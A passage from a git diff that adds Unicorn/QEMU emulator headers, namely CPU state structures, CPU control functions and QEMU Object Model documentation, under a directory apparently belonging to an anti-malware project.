@mem_io_pc: Host Program Counter at which the memory was accessed. + * @mem_io_vaddr: Target virtual address at which the memory was accessed. + * @kvm_fd: vCPU file descriptor for KVM. + * + * State of one CPU core or thread. + */ +struct CPUState { + /*< private >*/ + DeviceState parent_obj; + /*< public >*/ + + int nr_cores; + int nr_threads; + int numa_node; + + struct QemuThread *thread; +#ifdef _WIN32 + HANDLE hThread; +#endif + int thread_id; + uint32_t host_tid; + bool running; + struct qemu_work_item *queued_work_first, *queued_work_last; + bool thread_kicked; + bool created; + bool stop; + bool stopped; + volatile sig_atomic_t exit_request; + uint32_t interrupt_request; + int singlestep_enabled; + int64_t icount_extra; + sigjmp_buf jmp_env; + + AddressSpace *as; + MemoryListener *tcg_as_listener; + + void *env_ptr; /* CPUArchState */ + struct TranslationBlock *current_tb; + struct TranslationBlock *tb_jmp_cache[TB_JMP_CACHE_SIZE]; + QTAILQ_ENTRY(CPUState) node; + + /* ice debug support */ + QTAILQ_HEAD(breakpoints_head, CPUBreakpoint) breakpoints; + + QTAILQ_HEAD(watchpoints_head, CPUWatchpoint) watchpoints; + CPUWatchpoint *watchpoint_hit; + + void *opaque; + + /* In order to avoid passing too many arguments to the MMIO helpers, + * we store some rarely used information in the CPU context. + */ + uintptr_t mem_io_pc; + vaddr mem_io_vaddr; + + int kvm_fd; + bool kvm_vcpu_dirty; + struct KVMState *kvm_state; + struct kvm_run *kvm_run; + + /* TODO Move common fields from CPUArchState here. */ + int cpu_index; /* used by alpha TCG */ + uint32_t halted; /* used by alpha, cris, ppc TCG */ + union { + uint32_t u32; + icount_decr_u16 u16; + } icount_decr; + uint32_t can_do_io; + int32_t exception_index; /* used by m68k TCG */ + + /* Note that this is accessed at the start of every TB via a negative + offset from AREG0. Leave this field at the end so as to make the + (absolute value) offset as small as possible. This reduces code + size, especially for hosts without large memory offsets. */ + volatile sig_atomic_t tcg_exit_req; + struct uc_struct* uc; +}; + + +/** + * cpu_paging_enabled: + * @cpu: The CPU whose state is to be inspected. + * + * Returns: %true if paging is enabled, %false otherwise. + */ +bool cpu_paging_enabled(const CPUState *cpu); + +/** + * cpu_get_memory_mapping: + * @cpu: The CPU whose memory mappings are to be obtained. + * @list: Where to write the memory mappings to. + * @errp: Pointer for reporting an #Error. + */ +void cpu_get_memory_mapping(CPUState *cpu, MemoryMappingList *list, + Error **errp); + +/** + * cpu_write_elf64_note: + * @f: pointer to a function that writes memory to a file + * @cpu: The CPU whose memory is to be dumped + * @cpuid: ID number of the CPU + * @opaque: pointer to the CPUState struct + */ +int cpu_write_elf64_note(WriteCoreDumpFunction f, CPUState *cpu, + int cpuid, void *opaque); + +/** + * cpu_write_elf64_qemunote: + * @f: pointer to a function that writes memory to a file + * @cpu: The CPU whose memory is to be dumped + * @cpuid: ID number of the CPU + * @opaque: pointer to the CPUState struct + */ +int cpu_write_elf64_qemunote(WriteCoreDumpFunction f, CPUState *cpu, + void *opaque); + +/** + * cpu_write_elf32_note: + * @f: pointer to a function that writes memory to a file + * @cpu: The CPU whose memory is to be dumped + * @cpuid: ID number of the CPU + * @opaque: pointer to the CPUState struct + */ +int cpu_write_elf32_note(WriteCoreDumpFunction f, CPUState *cpu, + int cpuid, void *opaque); + +/** + * cpu_write_elf32_qemunote: + * @f: pointer to a function that writes memory to a file + * @cpu: The CPU whose memory is to be dumped + * @cpuid: ID number of the CPU + * @opaque: pointer to the CPUState struct + */ +int cpu_write_elf32_qemunote(WriteCoreDumpFunction f, CPUState *cpu, + void *opaque); + +/** + * CPUDumpFlags: + * @CPU_DUMP_CODE: + * @CPU_DUMP_FPU: dump FPU register state, not just integer + * @CPU_DUMP_CCOP: dump info about TCG QEMU's condition code optimization state + */ +enum CPUDumpFlags { + CPU_DUMP_CODE = 0x00010000, + CPU_DUMP_FPU = 0x00020000, + CPU_DUMP_CCOP = 0x00040000, +}; + +/** + * cpu_dump_state: + * @cpu: The CPU whose state is to be dumped. + * @f: File to dump to. + * @cpu_fprintf: Function to dump with. + * @flags: Flags what to dump. + * + * Dumps CPU state. + */ +void cpu_dump_state(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags); + +/** + * cpu_dump_statistics: + * @cpu: The CPU whose state is to be dumped. + * @f: File to dump to. + * @cpu_fprintf: Function to dump with. + * @flags: Flags what to dump. + * + * Dumps CPU statistics. + */ +void cpu_dump_statistics(CPUState *cpu, FILE *f, fprintf_function cpu_fprintf, + int flags); + +#ifndef CONFIG_USER_ONLY +/** + * cpu_get_phys_page_debug: + * @cpu: The CPU to obtain the physical page address for. + * @addr: The virtual address. + * + * Obtains the physical page corresponding to a virtual one. + * Use it only for debugging because no protection checks are done. + * + * Returns: Corresponding physical page address or -1 if no page found. + */ +static inline hwaddr cpu_get_phys_page_debug(CPUState *cpu, vaddr addr) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + return cc->get_phys_page_debug(cpu, addr); +} +#endif + +/** + * cpu_reset: + * @cpu: The CPU whose state is to be reset. + */ +void cpu_reset(CPUState *cpu); + +/** + * cpu_class_by_name: + * @typename: The CPU base type. + * @cpu_model: The model string without any parameters. + * + * Looks up a CPU #ObjectClass matching name @cpu_model. + * + * Returns: A #CPUClass or %NULL if not matching class is found. + */ +ObjectClass *cpu_class_by_name(struct uc_struct *uc, const char *typename_, const char *cpu_model); + +/** + * cpu_generic_init: + * @typename: The CPU base type. + * @cpu_model: The model string including optional parameters. + * + * Instantiates a CPU, processes optional parameters and realizes the CPU. + * + * Returns: A #CPUState or %NULL if an error occurred. + */ +CPUState *cpu_generic_init(struct uc_struct *uc, const char *typename_, const char *cpu_model); + +/** + * cpu_has_work: + * @cpu: The vCPU to check. + * + * Checks whether the CPU has work to do. + * + * Returns: %true if the CPU has work, %false otherwise. + */ +static inline bool cpu_has_work(CPUState *cpu) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + g_assert(cc->has_work); + return cc->has_work(cpu); +} + +/** + * qemu_cpu_kick: + * @cpu: The vCPU to kick. + * + * Kicks @cpu's thread. + */ +void qemu_cpu_kick(CPUState *cpu); + +/** + * cpu_is_stopped: + * @cpu: The CPU to check. + * + * Checks whether the CPU is stopped. + * + * Returns: %true if run state is not running or if artificially stopped; + * %false otherwise. + */ +bool cpu_is_stopped(CPUState *cpu); + +/** + * run_on_cpu: + * @cpu: The vCPU to run on. + * @func: The function to be executed. + * @data: Data to pass to the function. + * + * Schedules the function @func for execution on the vCPU @cpu. + */ +void run_on_cpu(CPUState *cpu, void (*func)(void *data), void *data); + +/** + * async_run_on_cpu: + * @cpu: The vCPU to run on. + * @func: The function to be executed. + * @data: Data to pass to the function. + * + * Schedules the function @func for execution on the vCPU @cpu asynchronously. + */ +void async_run_on_cpu(CPUState *cpu, void (*func)(void *data), void *data); + +/** + * qemu_get_cpu: + * @index: The CPUState@cpu_index value of the CPU to obtain. + * + * Gets a CPU matching @index. + * + * Returns: The CPU or %NULL if there is no matching CPU. + */ +CPUState *qemu_get_cpu(struct uc_struct *uc, int index); + +/** + * cpu_exists: + * @id: Guest-exposed CPU ID to lookup. + * + * Search for CPU with specified ID. + * + * Returns: %true - CPU is found, %false - CPU isn't found. + */ +bool cpu_exists(struct uc_struct* uc, int64_t id); + +#ifndef CONFIG_USER_ONLY + +typedef void (*CPUInterruptHandler)(CPUState *, int); + +extern CPUInterruptHandler cpu_interrupt_handler; + +/** + * cpu_interrupt: + * @cpu: The CPU to set an interrupt on. + * @mask: The interupts to set. + * + * Invokes the interrupt handler. + */ +static inline void cpu_interrupt(CPUState *cpu, int mask) +{ + cpu_interrupt_handler(cpu, mask); +} + +#else /* USER_ONLY */ + +void cpu_interrupt(CPUState *cpu, int mask); + +#endif /* USER_ONLY */ + +#ifdef CONFIG_SOFTMMU +static inline void cpu_unassigned_access(CPUState *cpu, hwaddr addr, + bool is_write, bool is_exec, + int opaque, unsigned size) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + if (cc->do_unassigned_access) { + cc->do_unassigned_access(cpu, addr, is_write, is_exec, opaque, size); + } +} + +static inline void cpu_unaligned_access(CPUState *cpu, vaddr addr, + int is_write, int is_user, + uintptr_t retaddr) +{ + CPUClass *cc = CPU_GET_CLASS(cpu->uc, cpu); + + cc->do_unaligned_access(cpu, addr, is_write, is_user, retaddr); +} +#endif + +/** + * cpu_reset_interrupt: + * @cpu: The CPU to clear the interrupt on. + * @mask: The interrupt mask to clear. + * + * Resets interrupts on the vCPU @cpu. + */ +void cpu_reset_interrupt(CPUState *cpu, int mask); + +/** + * cpu_exit: + * @cpu: The CPU to exit. + * + * Requests the CPU @cpu to exit execution. + */ +void cpu_exit(CPUState *cpu); + +/** + * cpu_resume: + * @cpu: The CPU to resume. + * + * Resumes CPU, i.e. puts CPU into runnable state. + */ +void cpu_resume(CPUState *cpu); + +/** + * qemu_init_vcpu: + * @cpu: The vCPU to initialize. + * + * Initializes a vCPU. + */ +int qemu_init_vcpu(CPUState *cpu); + +#define SSTEP_ENABLE 0x1 /* Enable simulated HW single stepping */ +#define SSTEP_NOIRQ 0x2 /* Do not use IRQ while single stepping */ +#define SSTEP_NOTIMER 0x4 /* Do not Timers while single stepping */ + +/** + * cpu_single_step: + * @cpu: CPU to the flags for. + * @enabled: Flags to enable. + * + * Enables or disables single-stepping for @cpu. + */ +void cpu_single_step(CPUState *cpu, int enabled); + +/* Breakpoint/watchpoint flags */ +#define BP_MEM_READ 0x01 +#define BP_MEM_WRITE 0x02 +#define BP_MEM_ACCESS (BP_MEM_READ | BP_MEM_WRITE) +#define BP_STOP_BEFORE_ACCESS 0x04 +/* 0x08 currently unused */ +#define BP_GDB 0x10 +#define BP_CPU 0x20 +#define BP_WATCHPOINT_HIT_READ 0x40 +#define BP_WATCHPOINT_HIT_WRITE 0x80 +#define BP_WATCHPOINT_HIT (BP_WATCHPOINT_HIT_READ | BP_WATCHPOINT_HIT_WRITE) + +int cpu_breakpoint_insert(CPUState *cpu, vaddr pc, int flags, + CPUBreakpoint **breakpoint); +int cpu_breakpoint_remove(CPUState *cpu, vaddr pc, int flags); +void cpu_breakpoint_remove_by_ref(CPUState *cpu, CPUBreakpoint *breakpoint); +void cpu_breakpoint_remove_all(CPUState *cpu, int mask); + +int cpu_watchpoint_insert(CPUState *cpu, vaddr addr, vaddr len, + int flags, CPUWatchpoint **watchpoint); +int cpu_watchpoint_remove(CPUState *cpu, vaddr addr, + vaddr len, int flags); +void cpu_watchpoint_remove_by_ref(CPUState *cpu, CPUWatchpoint *watchpoint); +void cpu_watchpoint_remove_all(CPUState *cpu, int mask); + +void QEMU_NORETURN cpu_abort(CPUState *cpu, const char *fmt, ...) + GCC_FMT_ATTR(2, 3); + +void cpu_register_types(struct uc_struct *uc); + +#ifdef CONFIG_SOFTMMU +extern const struct VMStateDescription vmstate_cpu_common; +#else +#define vmstate_cpu_common vmstate_dummy +#endif + +#define VMSTATE_CPU() { \ + .name = "parent_obj", \ + .size = sizeof(CPUState), \ + .vmsd = &vmstate_cpu_common, \ + .flags = VMS_STRUCT, \ + .offset = 0, \ +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/object.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/object.h new file mode 100644 index 0000000..c3a1ffe --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/qom/object.h @@ -0,0 +1,1270 @@ +/* + * QEMU Object Model + * + * Copyright IBM, Corp. 2011 + * + * Authors: + * Anthony Liguori <aliguori@us.ibm.com> + * + * This work is licensed under the terms of the GNU GPL, version 2 or later. + * See the COPYING file in the top-level directory. + * + */ + +#ifndef QEMU_OBJECT_H +#define QEMU_OBJECT_H + +#include "glib_compat.h" +#include "unicorn/platform.h" +#include "qemu/queue.h" +#include "qapi/error.h" + +struct Visitor; + +struct TypeImpl; +typedef struct TypeImpl *Type; + +typedef struct ObjectClass ObjectClass; +typedef struct Object Object; + +typedef struct TypeInfo TypeInfo; + +typedef struct InterfaceClass InterfaceClass; +typedef struct InterfaceInfo InterfaceInfo; + +struct uc_struct; + +#define TYPE_OBJECT "object" + +/** + * SECTION:object.h + * @title:Base Object Type System + * @short_description: interfaces for creating new types and objects + * + * The QEMU Object Model provides a framework for registering user creatable + * types and instantiating objects from those types. QOM provides the following + * features: + * + * - System for dynamically registering types + * - Support for single-inheritance of types + * - Multiple inheritance of stateless interfaces + * + * <example> + * <title>Creating a minimal type + * + * #include "qdev.h" + * + * #define TYPE_MY_DEVICE "my-device" + * + * // No new virtual functions: we can reuse the typedef for the + * // superclass. + * typedef DeviceClass MyDeviceClass; + * typedef struct MyDevice + * { + * DeviceState parent; + * + * int reg0, reg1, reg2; + * } MyDevice; + * + * static const TypeInfo my_device_info = { + * .name = TYPE_MY_DEVICE, + * .parent = TYPE_DEVICE, + * .instance_size = sizeof(MyDevice), + * }; + * + * static void my_device_register_types(void) + * { + * type_register_static(&my_device_info); + * } + * + * type_init(my_device_register_types) + * + * + * + * In the above example, we create a simple type that is described by #TypeInfo. + * #TypeInfo describes information about the type including what it inherits + * from, the instance and class size, and constructor/destructor hooks. + * + * Every type has an #ObjectClass associated with it. #ObjectClass derivatives + * are instantiated dynamically but there is only ever one instance for any + * given type. The #ObjectClass typically holds a table of function pointers + * for the virtual methods implemented by this type. + * + * Using object_new(), a new #Object derivative will be instantiated. You can + * cast an #Object to a subclass (or base-class) type using + * object_dynamic_cast(). You typically want to define macro wrappers around + * OBJECT_CHECK() and OBJECT_CLASS_CHECK() to make it easier to convert to a + * specific type: + * + * + * Typecasting macros + * + * #define MY_DEVICE_GET_CLASS(obj) \ + * OBJECT_GET_CLASS(MyDeviceClass, obj, TYPE_MY_DEVICE) + * #define MY_DEVICE_CLASS(klass) \ + * OBJECT_CLASS_CHECK(MyDeviceClass, klass, TYPE_MY_DEVICE) + * #define MY_DEVICE(obj) \ + * OBJECT_CHECK(MyDevice, obj, TYPE_MY_DEVICE) + * + * + * + * # Class Initialization # + * + * Before an object is initialized, the class for the object must be + * initialized. There is only one class object for all instance objects + * that is created lazily. + * + * Classes are initialized by first initializing any parent classes (if + * necessary). After the parent class object has initialized, it will be + * copied into the current class object and any additional storage in the + * class object is zero filled. + * + * The effect of this is that classes automatically inherit any virtual + * function pointers that the parent class has already initialized. All + * other fields will be zero filled. + * + * Once all of the parent classes have been initialized, #TypeInfo::class_init + * is called to let the class being instantiated provide default initialize for + * its virtual functions. Here is how the above example might be modified + * to introduce an overridden virtual function: + * + * + * Overriding a virtual function + * + * #include "qdev.h" + * + * void my_device_class_init(ObjectClass *klass, void *class_data) + * { + * DeviceClass *dc = DEVICE_CLASS(klass); + * dc->reset = my_device_reset; + * } + * + * static const TypeInfo my_device_info = { + * .name = TYPE_MY_DEVICE, + * .parent = TYPE_DEVICE, + * .instance_size = sizeof(MyDevice), + * .class_init = my_device_class_init, + * }; + * + * + * + * Introducing new virtual methods requires a class to define its own + * struct and to add a .class_size member to the #TypeInfo. Each method + * will also have a wrapper function to call it easily: + * + * + * Defining an abstract class + * + * #include "qdev.h" + * + * typedef struct MyDeviceClass + * { + * DeviceClass parent; + * + * void (*frobnicate) (MyDevice *obj); + * } MyDeviceClass; + * + * static const TypeInfo my_device_info = { + * .name = TYPE_MY_DEVICE, + * .parent = TYPE_DEVICE, + * .instance_size = sizeof(MyDevice), + * .abstract = true, // or set a default in my_device_class_init + * .class_size = sizeof(MyDeviceClass), + * }; + * + * void my_device_frobnicate(MyDevice *obj) + * { + * MyDeviceClass *klass = MY_DEVICE_GET_CLASS(obj); + * + * klass->frobnicate(obj); + * } + * + * + * + * # Interfaces # + * + * Interfaces allow a limited form of multiple inheritance. Instances are + * similar to normal types except for the fact that are only defined by + * their classes and never carry any state. You can dynamically cast an object + * to one of its #Interface types and vice versa. + * + * # Methods # + * + * A method is a function within the namespace scope of + * a class. It usually operates on the object instance by passing it as a + * strongly-typed first argument. + * If it does not operate on an object instance, it is dubbed + * class method. + * + * Methods cannot be overloaded. That is, the #ObjectClass and method name + * uniquely identity the function to be called; the signature does not vary + * except for trailing varargs. + * + * Methods are always virtual. Overriding a method in + * #TypeInfo.class_init of a subclass leads to any user of the class obtained + * via OBJECT_GET_CLASS() accessing the overridden function. + * The original function is not automatically invoked. It is the responsibility + * of the overriding class to determine whether and when to invoke the method + * being overridden. + * + * To invoke the method being overridden, the preferred solution is to store + * the original value in the overriding class before overriding the method. + * This corresponds to |[ {super,base}.method(...) ]| in Java and C# + * respectively; this frees the overriding class from hardcoding its parent + * class, which someone might choose to change at some point. + * + * + * Overriding a virtual method + * + * typedef struct MyState MyState; + * + * typedef void (*MyDoSomething)(MyState *obj); + * + * typedef struct MyClass { + * ObjectClass parent_class; + * + * MyDoSomething do_something; + * } MyClass; + * + * static void my_do_something(MyState *obj) + * { + * // do something + * } + * + * static void my_class_init(ObjectClass *oc, void *data) + * { + * MyClass *mc = MY_CLASS(oc); + * + * mc->do_something = my_do_something; + * } + * + * static const TypeInfo my_type_info = { + * .name = TYPE_MY, + * .parent = TYPE_OBJECT, + * .instance_size = sizeof(MyState), + * .class_size = sizeof(MyClass), + * .class_init = my_class_init, + * }; + * + * typedef struct DerivedClass { + * MyClass parent_class; + * + * MyDoSomething parent_do_something; + * } DerivedClass; + * + * static void derived_do_something(MyState *obj) + * { + * DerivedClass *dc = DERIVED_GET_CLASS(obj); + * + * // do something here + * dc->parent_do_something(obj); + * // do something else here + * } + * + * static void derived_class_init(ObjectClass *oc, void *data) + * { + * MyClass *mc = MY_CLASS(oc); + * DerivedClass *dc = DERIVED_CLASS(oc); + * + * dc->parent_do_something = mc->do_something; + * mc->do_something = derived_do_something; + * } + * + * static const TypeInfo derived_type_info = { + * .name = TYPE_DERIVED, + * .parent = TYPE_MY, + * .class_size = sizeof(DerivedClass), + * .class_init = my_class_init, + * }; + * + * + * + * Alternatively, object_class_by_name() can be used to obtain the class and + * its non-overridden methods for a specific type. This would correspond to + * |[ MyClass::method(...) ]| in C++. + * + * The first example of such a QOM method was #CPUClass.reset, + * another example is #DeviceClass.realize. + */ + + +/** + * ObjectPropertyAccessor: + * @obj: the object that owns the property + * @v: the visitor that contains the property data + * @opaque: the object property opaque + * @name: the name of the property + * @errp: a pointer to an Error that is filled if getting/setting fails. + * + * Called when trying to get/set a property. + */ +typedef void (ObjectPropertyAccessor)(struct uc_struct *uc, Object *obj, + struct Visitor *v, + void *opaque, + const char *name, + Error **errp); +typedef int (ObjectPropertySetAccessor)(struct uc_struct *uc, Object *obj, + struct Visitor *v, + void *opaque, + const char *name, + Error **errp); + +/** + * ObjectPropertyResolve: + * @obj: the object that owns the property + * @opaque: the opaque registered with the property + * @part: the name of the property + * + * Resolves the #Object corresponding to property @part. + * + * The returned object can also be used as a starting point + * to resolve a relative path starting with "@part". + * + * Returns: If @path is the path that led to @obj, the function + * returns the #Object corresponding to "@path/@part". + * If "@path/@part" is not a valid object path, it returns #NULL. + */ +typedef Object *(ObjectPropertyResolve)(struct uc_struct *uc, Object *obj, + void *opaque, + const char *part); + +/** + * ObjectPropertyRelease: + * @obj: the object that owns the property + * @name: the name of the property + * @opaque: the opaque registered with the property + * + * Called when a property is removed from a object. + */ +typedef void (ObjectPropertyRelease)(struct uc_struct *uc, Object *obj, + const char *name, + void *opaque); + +typedef struct ObjectProperty +{ + gchar *name; + gchar *type; + gchar *description; + ObjectPropertyAccessor *get; + ObjectPropertySetAccessor *set; + ObjectPropertyResolve *resolve; + ObjectPropertyRelease *release; + void *opaque; + + QTAILQ_ENTRY(ObjectProperty) node; +} ObjectProperty; + +/** + * ObjectUnparent: + * @obj: the object that is being removed from the composition tree + * + * Called when an object is being removed from the QOM composition tree. + * The function should remove any backlinks from children objects to @obj. + */ +typedef void (ObjectUnparent)(struct uc_struct *uc, Object *obj); + +/** + * ObjectFree: + * @obj: the object being freed + * + * Called when an object's last reference is removed. + */ +typedef void (ObjectFree)(void *obj); + +#define OBJECT_CLASS_CAST_CACHE 4 + +/** + * ObjectClass: + * + * The base for all classes. The only thing that #ObjectClass contains is an + * integer type handle. + */ +struct ObjectClass +{ + /*< private >*/ + Type type; + GSList *interfaces; + + const char *object_cast_cache[OBJECT_CLASS_CAST_CACHE]; + const char *class_cast_cache[OBJECT_CLASS_CAST_CACHE]; + + ObjectUnparent *unparent; +}; + +/** + * Object: + * + * The base for all objects. The first member of this object is a pointer to + * a #ObjectClass. Since C guarantees that the first member of a structure + * always begins at byte 0 of that structure, as long as any sub-object places + * its parent as the first member, we can cast directly to a #Object. + * + * As a result, #Object contains a reference to the objects type as its + * first member. This allows identification of the real type of the object at + * run time. + * + * #Object also contains a list of #Interfaces that this object + * implements. + */ +struct Object +{ + /*< private >*/ + ObjectClass *class_; + ObjectFree *free; + QTAILQ_HEAD(, ObjectProperty) properties; + uint32_t ref; + Object *parent; +}; + +/** + * TypeInfo: + * @name: The name of the type. + * @parent: The name of the parent type. + * @instance_size: The size of the object (derivative of #Object). If + * @instance_size is 0, then the size of the object will be the size of the + * parent object. + * @instance_init: This function is called to initialize an object. The parent + * class will have already been initialized so the type is only responsible + * for initializing its own members. + * @instance_post_init: This function is called to finish initialization of + * an object, after all @instance_init functions were called. + * @instance_finalize: This function is called during object destruction. This + * is called before the parent @instance_finalize function has been called. + * An object should only free the members that are unique to its type in this + * function. + * @abstract: If this field is true, then the class is considered abstract and + * cannot be directly instantiated. + * @class_size: The size of the class object (derivative of #ObjectClass) + * for this object. If @class_size is 0, then the size of the class will be + * assumed to be the size of the parent class. This allows a type to avoid + * implementing an explicit class type if they are not adding additional + * virtual functions. + * @class_init: This function is called after all parent class initialization + * has occurred to allow a class to set its default virtual method pointers. + * This is also the function to use to override virtual methods from a parent + * class. + * @class_base_init: This function is called for all base classes after all + * parent class initialization has occurred, but before the class itself + * is initialized. This is the function to use to undo the effects of + * memcpy from the parent class to the descendents. + * @class_finalize: This function is called during class destruction and is + * meant to release and dynamic parameters allocated by @class_init. + * @class_data: Data to pass to the @class_init, @class_base_init and + * @class_finalize functions. This can be useful when building dynamic + * classes. + * @interfaces: The list of interfaces associated with this type. This + * should point to a static array that's terminated with a zero filled + * element. + */ +struct TypeInfo +{ + const char *name; + const char *parent; + + size_t class_size; + size_t instance_size; + void *instance_userdata; + + void (*instance_init)(struct uc_struct *uc, Object *obj, void *opaque); + void (*instance_post_init)(struct uc_struct *uc, Object *obj); + void (*instance_finalize)(struct uc_struct *uc, Object *obj, void *opaque); + + void *class_data; + + void (*class_init)(struct uc_struct *uc, ObjectClass *klass, void *data); + void (*class_base_init)(ObjectClass *klass, void *data); + void (*class_finalize)(ObjectClass *klass, void *data); + + bool abstract; + + void *parent_type; + ObjectClass *class_; + + InterfaceInfo *interfaces; +}; + +/** + * OBJECT: + * @obj: A derivative of #Object + * + * Converts an object to a #Object. Since all objects are #Objects, + * this function will always succeed. + */ +#define OBJECT(obj) \ + ((Object *)(obj)) + +/** + * OBJECT_CLASS: + * @class: A derivative of #ObjectClass. + * + * Converts a class to an #ObjectClass. Since all objects are #Objects, + * this function will always succeed. + */ +#define OBJECT_CLASS(class) \ + ((ObjectClass *)(class)) + +/** + * OBJECT_CHECK: + * @type: The C type to use for the return value. + * @obj: A derivative of @type to cast. + * @name: The QOM typename of @type + * + * A type safe version of @object_dynamic_cast_assert. Typically each class + * will define a macro based on this type to perform type safe dynamic_casts to + * this object type. + * + * If an invalid object is passed to this function, a run time assert will be + * generated. + */ +#define OBJECT_CHECK(uc, type, obj, name) \ + ((type *)object_dynamic_cast_assert(uc, OBJECT(obj), (name), \ + __FILE__, __LINE__, __func__)) + +/** + * OBJECT_CLASS_CHECK: + * @class: The C type to use for the return value. + * @obj: A derivative of @type to cast. + * @name: the QOM typename of @class. + * + * A type safe version of @object_class_dynamic_cast_assert. This macro is + * typically wrapped by each type to perform type safe casts of a class to a + * specific class type. + */ +#define OBJECT_CLASS_CHECK(uc, class, obj, name) \ + ((class *)object_class_dynamic_cast_assert(uc, OBJECT_CLASS(obj), (name), \ + __FILE__, __LINE__, __func__)) + +/** + * OBJECT_GET_CLASS: + * @class: The C type to use for the return value. + * @obj: The object to obtain the class for. + * @name: The QOM typename of @obj. + * + * This function will return a specific class for a given object. Its generally + * used by each type to provide a type safe macro to get a specific class type + * from an object. + */ +#define OBJECT_GET_CLASS(uc, class, obj, name) \ + OBJECT_CLASS_CHECK(uc, class, object_get_class(OBJECT(obj)), name) + +/** + * InterfaceInfo: + * @type: The name of the interface. + * + * The information associated with an interface. + */ +struct InterfaceInfo { + const char *type; +}; + +/** + * InterfaceClass: + * @parent_class: the base class + * + * The class for all interfaces. Subclasses of this class should only add + * virtual methods. + */ +struct InterfaceClass +{ + ObjectClass parent_class; + /*< private >*/ + ObjectClass *concrete_class; + Type interface_type; +}; + +#define TYPE_INTERFACE "interface" + +/** + * INTERFACE_CLASS: + * @klass: class to cast from + * Returns: An #InterfaceClass or raise an error if cast is invalid + */ +#define INTERFACE_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, InterfaceClass, klass, TYPE_INTERFACE) + +/** + * INTERFACE_CHECK: + * @interface: the type to return + * @obj: the object to convert to an interface + * @name: the interface type name + * + * Returns: @obj casted to @interface if cast is valid, otherwise raise error. + */ +#define INTERFACE_CHECK(uc, interface, obj, name) \ + ((interface *)object_dynamic_cast_assert(uc, OBJECT((obj)), (name), \ + __FILE__, __LINE__, __func__)) + +/** + * object_new: + * @typename: The name of the type of the object to instantiate. + * + * This function will initialize a new object using heap allocated memory. + * The returned object has a reference count of 1, and will be freed when + * the last reference is dropped. + * + * Returns: The newly allocated and instantiated object. + */ +Object *object_new(struct uc_struct *, const char *typename_); + +/** + * object_initialize: + * @obj: A pointer to the memory to be used for the object. + * @size: The maximum size available at @obj for the object. + * @typename: The name of the type of the object to instantiate. + * + * This function will initialize an object. The memory for the object should + * have already been allocated. The returned object has a reference count of 1, + * and will be finalized when the last reference is dropped. + */ +void object_initialize(struct uc_struct *uc, void *obj, size_t size, const char *typename_); + +/** + * object_dynamic_cast: + * @obj: The object to cast. + * @typename: The @typename to cast to. + * + * This function will determine if @obj is-a @typename. @obj can refer to an + * object or an interface associated with an object. + * + * Returns: This function returns @obj on success or #NULL on failure. + */ +Object *object_dynamic_cast(struct uc_struct *uc, Object *obj, const char *typename_); + +/** + * object_dynamic_cast_assert: + * + * See object_dynamic_cast() for a description of the parameters of this + * function. The only difference in behavior is that this function asserts + * instead of returning #NULL on failure if QOM cast debugging is enabled. + * This function is not meant to be called directly, but only through + * the wrapper macro OBJECT_CHECK. + */ +Object *object_dynamic_cast_assert(struct uc_struct *uc, Object *obj, const char *typename_, + const char *file, int line, const char *func); + +/** + * object_get_class: + * @obj: A derivative of #Object + * + * Returns: The #ObjectClass of the type associated with @obj. + */ +ObjectClass *object_get_class(Object *obj); + +/** + * object_get_typename: + * @obj: A derivative of #Object. + * + * Returns: The QOM typename of @obj. + */ +const char *object_get_typename(Object *obj); + +/** + * type_register_static: + * @info: The #TypeInfo of the new type. + * + * @info and all of the strings it points to should exist for the life time + * that the type is registered. + * + * Returns: 0 on failure, the new #Type on success. + */ +Type type_register_static(struct uc_struct *uc, const TypeInfo *info); + +/** + * type_register: + * @info: The #TypeInfo of the new type + * + * Unlike type_register_static(), this call does not require @info or its + * string members to continue to exist after the call returns. + * + * Returns: 0 on failure, the new #Type on success. + */ +Type type_register(struct uc_struct *uc, const TypeInfo *info); + +/** + * object_class_dynamic_cast_assert: + * @klass: The #ObjectClass to attempt to cast. + * @typename: The QOM typename of the class to cast to. + * + * See object_class_dynamic_cast() for a description of the parameters + * of this function. The only difference in behavior is that this function + * asserts instead of returning #NULL on failure if QOM cast debugging is + * enabled. This function is not meant to be called directly, but only through + * the wrapper macros OBJECT_CLASS_CHECK and INTERFACE_CHECK. + */ +ObjectClass *object_class_dynamic_cast_assert(struct uc_struct *uc, ObjectClass *klass, + const char *typename_, + const char *file, int line, + const char *func); + +/** + * object_class_dynamic_cast: + * @klass: The #ObjectClass to attempt to cast. + * @typename: The QOM typename of the class to cast to. + * + * Returns: If @typename is a class, this function returns @klass if + * @typename is a subtype of @klass, else returns #NULL. + * + * If @typename is an interface, this function returns the interface + * definition for @klass if @klass implements it unambiguously; #NULL + * is returned if @klass does not implement the interface or if multiple + * classes or interfaces on the hierarchy leading to @klass implement + * it. (FIXME: perhaps this can be detected at type definition time?) + */ +ObjectClass *object_class_dynamic_cast(struct uc_struct *uc, ObjectClass *klass, + const char *typename_); + +/** + * object_class_get_parent: + * @klass: The class to obtain the parent for. + * + * Returns: The parent for @klass or %NULL if none. + */ +ObjectClass *object_class_get_parent(struct uc_struct *uc, ObjectClass *klass); + +/** + * object_class_get_name: + * @klass: The class to obtain the QOM typename for. + * + * Returns: The QOM typename for @klass. + */ +const char *object_class_get_name(ObjectClass *klass); + +/** + * object_class_is_abstract: + * @klass: The class to obtain the abstractness for. + * + * Returns: %true if @klass is abstract, %false otherwise. + */ +bool object_class_is_abstract(ObjectClass *klass); + +/** + * object_class_by_name: + * @typename: The QOM typename to obtain the class for. + * + * Returns: The class for @typename or %NULL if not found. + */ +ObjectClass *object_class_by_name(struct uc_struct *uc, const char *typename_); + +void object_class_foreach(struct uc_struct *uc, void (*fn)(ObjectClass *klass, void *opaque), + const char *implements_type, bool include_abstract, + void *opaque); + +/** + * object_class_get_list: + * @implements_type: The type to filter for, including its derivatives. + * @include_abstract: Whether to include abstract classes. + * + * Returns: A singly-linked list of the classes in reverse hashtable order. + */ +GSList *object_class_get_list(struct uc_struct *uc, const char *implements_type, + bool include_abstract); + +/** + * object_ref: + * @obj: the object + * + * Increase the reference count of a object. A object cannot be freed as long + * as its reference count is greater than zero. + */ +void 